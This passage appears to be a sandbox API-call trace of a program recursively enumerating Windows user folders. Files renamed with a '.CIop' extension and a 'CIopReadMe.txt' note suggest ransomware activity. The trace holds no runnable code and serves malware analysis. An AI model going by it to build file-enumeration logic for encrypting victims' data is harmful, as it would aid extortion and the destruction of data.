FindFirstFileW (in: lpFileName="C:\\Users\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e478 [0138.411] PathFindFileNameW (pszPath="C:\\Users") returned="Users" [0138.411] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Users" | out: lpString1="Users") returned="Users" [0138.411] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0138.411] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0138.411] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0138.411] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0138.411] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0138.411] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0138.411] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0138.411] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0138.411] lstrlenW (lpString="desktop.ini") returned 11 [0138.411] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0138.411] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0138.411] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0138.411] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0138.411] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0138.411] lstrcatW (in: lpString1="C:\\Users", lpString2="\\*.*" | out: lpString1="C:\\Users\\*.*") returned="C:\\Users\\*.*" [0138.411] FindFirstFileW (in: lpFileName="C:\\Users\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e3f8 [0138.411] PathFindFileNameW (pszPath="C:\\Users") returned="Users" [0138.411] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Users" | out: lpString1="Users") returned="Users" [0138.411] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0138.411] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.411] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0138.411] lstrcmpW (lpString1="All Users", lpString2="..") returned 1 [0138.411] lstrcmpW (lpString1="All Users", lpString2=".") returned 1 [0138.412] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0138.412] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0138.412] lstrcatW (in: lpString1="C:\\Users\\", lpString2="All Users" | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0138.412] SetErrorMode (uMode=0x1) returned 0x1 [0138.412] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\All Users" | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0138.412] lstrcatW (in: lpString1="C:\\Users\\All Users", lpString2="\\" | out: lpString1="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0138.412] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\All Users\\" | out: lpString1="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0138.412] lstrcatW (in: lpString1="C:\\Users\\All Users\\", lpString2="*.*" | out: lpString1="C:\\Users\\All Users\\*.*") returned="C:\\Users\\All Users\\*.*" [0138.412] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e478 [0138.412] PathFindFileNameW (pszPath="C:\\Users\\All Users") returned="All Users" [0138.412] lstrcpyW (in: lpString1=0x2dca884, lpString2="All Users" | out: lpString1="All Users") returned="All Users" [0138.412] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0138.412] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\All Users" | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0138.412] lstrcatW (in: lpString1="C:\\Users\\All Users", lpString2="\\*.*" | out: lpString1="C:\\Users\\All Users\\*.*") returned="C:\\Users\\All Users\\*.*" [0138.412] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e9f8 [0138.412] PathFindFileNameW (pszPath="C:\\Users\\All Users") returned="All Users" [0138.412] lstrcpyW (in: lpString1=0x2dca884, lpString2="All Users" | out: lpString1="All Users") returned="All Users" [0138.412] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.412] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0138.412] lstrcmpW (lpString1="CIiHmnxMn6Ps", lpString2="..") returned 1 [0138.412] lstrcmpW (lpString1="CIiHmnxMn6Ps", lpString2=".") returned 1 [0138.412] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0138.412] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0138.413] lstrcatW (in: lpString1="C:\\Users\\", lpString2="CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0138.413] SetErrorMode (uMode=0x1) returned 0x1 [0138.413] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0138.413] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0138.413] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\CIiHmnxMn6Ps\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0138.413] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\*.*" [0138.413] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e9f8 [0138.413] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps") returned="CIiHmnxMn6Ps" [0138.413] lstrcpyW (in: lpString1=0x2dca884, lpString2="CIiHmnxMn6Ps" | out: lpString1="CIiHmnxMn6Ps") returned="CIiHmnxMn6Ps" [0138.413] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.413] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.413] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.413] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.413] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.413] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.413] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.413] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.413] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.413] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.413] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.413] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.413] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.413] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.413] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.413] lstrcmpW (lpString1="NTUSER.DAT", lpString2="..") returned 1 [0138.413] lstrcmpW (lpString1="NTUSER.DAT", lpString2=".") returned 1 [0138.413] lstrlenW (lpString="ntuser.dat") returned 10 [0138.413] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.413] lstrcmpW (lpString1="ntuser.dat.LOG1", lpString2="..") returned 1 [0138.413] lstrcmpW (lpString1="ntuser.dat.LOG1", lpString2=".") returned 1 [0138.414] lstrlenW (lpString="ntuser.dat") returned 10 [0138.414] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.414] lstrcmpW (lpString1="ntuser.dat.LOG2", lpString2="..") returned 1 [0138.414] lstrcmpW (lpString1="ntuser.dat.LOG2", lpString2=".") returned 1 [0138.414] lstrlenW (lpString="ntuser.dat") returned 10 [0138.414] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.414] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="..") returned 1 [0138.414] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2=".") returned 1 [0138.414] lstrlenW (lpString="ntuser.dat") returned 10 [0138.414] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.414] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="..") returned 1 [0138.414] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2=".") returned 1 [0138.414] lstrlenW (lpString="ntuser.dat") returned 10 [0138.414] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.414] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="..") returned 1 [0138.414] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2=".") returned 1 [0138.414] lstrlenW (lpString="ntuser.dat") returned 10 [0138.414] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.414] lstrcmpW (lpString1="ntuser.ini", lpString2="..") returned 1 [0138.414] lstrcmpW (lpString1="ntuser.ini", lpString2=".") returned 1 [0138.414] lstrlenW (lpString="ntuser.ini") returned 10 [0138.414] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.414] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.414] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.414] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.414] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.414] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.414] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.414] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.414] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.414] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.414] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0138.414] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.414] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0138.415] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0138.415] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\*.*" [0138.415] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e478 [0138.415] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps") returned="CIiHmnxMn6Ps" [0138.415] lstrcpyW (in: lpString1=0x2dca884, lpString2="CIiHmnxMn6Ps" | out: lpString1="CIiHmnxMn6Ps") returned="CIiHmnxMn6Ps" [0138.415] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.415] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.415] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.415] lstrcmpW (lpString1="AppData", lpString2="..") returned 1 [0138.415] lstrcmpW (lpString1="AppData", lpString2=".") returned 1 [0138.415] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0138.415] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0138.415] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="AppData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData" [0138.415] SetErrorMode (uMode=0x1) returned 0x1 [0138.415] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData" [0138.415] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\" [0138.415] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\" [0138.415] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*" [0138.415] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e9f8 [0138.415] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="AppData" [0138.415] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0138.415] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.416] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData" [0138.416] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*" [0138.416] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e9f8 [0138.416] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="AppData" [0138.416] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0138.416] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.416] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.416] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0138.416] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0138.416] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0138.416] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0138.416] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Application Data" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data" [0138.416] SetErrorMode (uMode=0x1) returned 0x1 [0138.416] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Application Data" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data" [0138.416] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\" [0138.416] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\" [0138.416] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*" [0138.416] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.416] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="Application Data" [0138.416] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0138.416] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.416] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Application Data" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data" [0138.416] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*" [0138.416] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.416] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="Application Data" [0138.417] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0138.417] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.417] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.417] lstrcmpW (lpString1="Contacts", lpString2="..") returned 1 [0138.417] lstrcmpW (lpString1="Contacts", lpString2=".") returned 1 [0138.417] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0138.417] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0138.417] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Contacts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts" [0138.417] SetErrorMode (uMode=0x1) returned 0x1 [0138.417] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Contacts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts" [0138.417] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" [0138.417] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" [0138.417] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*" [0138.417] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e9f8 [0138.417] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="Contacts" [0138.417] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Contacts" | out: lpString1="Contacts") returned="Contacts" [0138.417] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.417] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.417] lstrcmpW (lpString1="Aclviho ASldjfl.contact.CIop", lpString2="..") returned 1 [0138.417] lstrcmpW (lpString1="Aclviho ASldjfl.contact.CIop", lpString2=".") returned 1 [0138.417] lstrlenW (lpString=".CIop") returned 5 [0138.417] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.417] lstrcmpW (lpString1="asdlfk poopvy.contact.CIop", lpString2="..") returned 1 [0138.417] lstrcmpW (lpString1="asdlfk poopvy.contact.CIop", lpString2=".") returned 1 [0138.417] lstrlenW (lpString=".CIop") returned 5 [0138.417] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.417] lstrcmpW (lpString1="chucu jadnvk.contact.CIop", lpString2="..") returned 1 [0138.417] lstrcmpW (lpString1="chucu jadnvk.contact.CIop", lpString2=".") returned 1 [0138.417] lstrlenW (lpString=".CIop") returned 5 [0138.417] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.417] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0138.417] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0138.417] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.417] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.417] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0138.418] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0138.418] lstrlenW (lpString="desktop.ini") returned 11 [0138.418] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.418] lstrcmpW (lpString1="lulcit amkdfe.contact.CIop", lpString2="..") returned 1 [0138.418] lstrcmpW (lpString1="lulcit amkdfe.contact.CIop", lpString2=".") returned 1 [0138.418] lstrlenW (lpString=".CIop") returned 5 [0138.418] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.418] lstrcmpW (lpString1="sikvnb huvuib.contact.CIop", lpString2="..") returned 1 [0138.418] lstrcmpW (lpString1="sikvnb huvuib.contact.CIop", lpString2=".") returned 1 [0138.418] lstrlenW (lpString=".CIop") returned 5 [0138.418] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0138.418] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.418] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0138.418] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Contacts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts" [0138.418] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*" [0138.418] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0138.418] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="Contacts" [0138.418] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Contacts" | out: lpString1="Contacts") returned="Contacts" [0138.418] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.418] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.418] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.418] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.418] FindNextFileW (in: hFindFile=0x67e6b8, 